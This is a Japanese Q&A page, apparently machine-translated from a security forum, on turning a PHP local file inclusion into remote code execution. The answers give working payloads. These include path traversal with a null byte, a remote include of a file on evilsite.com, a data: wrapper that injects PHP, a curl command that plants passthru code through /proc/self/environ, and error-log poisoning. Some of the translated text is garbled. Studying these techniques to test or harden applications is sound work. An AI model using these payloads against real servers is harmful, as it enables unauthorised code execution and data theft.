web-dev-qa-db-ja.com

PHP File Wrappersを使用したRCEへのローカルファイルインクルージョン

次のようなコードがあるとします。

<?php include("includes/".$_GET['param1'].".php");?>

現在、上記のコードはLFIに対して脆弱です。ペイロード../../../../etc/passwd%00を渡すと、問題なく動作し、ファイルを取得できます。

ただし、上記のLFIの脆弱性を使用してリモートコード実行を実現しようとしています。 RCEを取得するためにPHP file wrapper "php：// input"を使用する可能性はありますか？

ここでの問題は、パスのincludes/フォルダーとそれをバイパスする方法です。

phpexploitvulnerabilityfile-inclusion
1
hax

LFIをdynamicRCEに活用するためにinclude()を使用することはできません。呼び出すシステムには、コードが含まれているファイル（つまり、evil-RCE-code.php）がすでに存在している必要があります。例えば：

アプリケーションがGETリクエストを介して送信されたパラメーターをPHP include（）関数に入力検証なしで渡す場合、攻撃者は開発者が意図していないコードを実行しようとする可能性があります。

以下のURLは、ページ名をinclude()関数に渡します。

http://testsite.com/index.php?page=contact.php

「evil-RCE-code.php」ファイルには、たとえば、Webサービスが実行される環境の構成に関する情報を取得するのに役立つphpinfo（）関数が含まれている場合があります。攻撃者は次のリクエストを使用して、アプリケーションに彼のPHPコードを実行するように要求できます。

http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php

ソース （免責事項：「-RCE-」の部分を追加して、RCEの場所を簡単に確認できるようにしました。）

別のアプローチについては、これを見てください：

次のようにファイルを含めることをお勧めします。
<?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH .'lib.php');?>

ここで、別の例を見てみましょう。次のページを検討してください。

http：//localhost/index.php？file = page1

page1は、Webページに動的に組み込まれるファイルです。上記のURLを見ると、バックエンドが次のコードを使用していると想定できます。

そして、攻撃者が変数「ファイル」の値を次のように変更したとします。

http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>

LFIは、簡単にリモートコード実行（RCE）に変換できます。この新しいデータプロトコルは、PHP 5.2.0および古いバージョンでは機能しません。また、PHPは、allow_url_include=offその結果、完全なパスの開示が行われます。

コードを挿入して後で評価する方法は他にもあります。 Apacheログファイル経由、「/ proc」などを使用。間違いなく、file_get_contents(), readfile()などの関数の不適切な使用、php://inputなどの入力ラッパーなども脅威を表しています。

記事全体

その他の背景情報と読み物

3
HashHazard

_includes/_が前に付加されている場合、前に付加されたデータがある場合はストリームを使用できません。ただし、nullバイトが機能するという事実に基づいて、いくつかの古いテクノロジーを扱っているようであり、次のようなことを行うと_/proc/self/environ_トリックを活用できる可能性があります：curl -A '<?=passthru("id")?>' 'http://localhost/lfi.php?file=../../../../../proc/self/environ%00'

2
wireghoul

ディスク上のファイルを直接制御したり、RFIを使用したり、expectを使用したり、ストリームを使用したりせずに、LFI経由でRCEを取得できる場合があります。

エラーが発生すると、たとえばLAMPスタック-リクエスト全体がサーバーの「エラーログ」ファイルに記録されます。整形式のPHPを含む無効なリクエストを送信できます。その後、任意のPHPコードをサーバーのファイルシステムに書き込んだはずです。

これは、A）ログファイルがどこにあるかを見つけることの問題になりました。多くの場合、デフォルトの場所にあります。B）Webユーザーがエラーログから読み取るための十分な権限を持っていることを期待しています。

これらの前提条件が満たされている場合、エラーログへのパスを含めることができ、注入されたPHPが実行されるはずです。

1
Pentesticals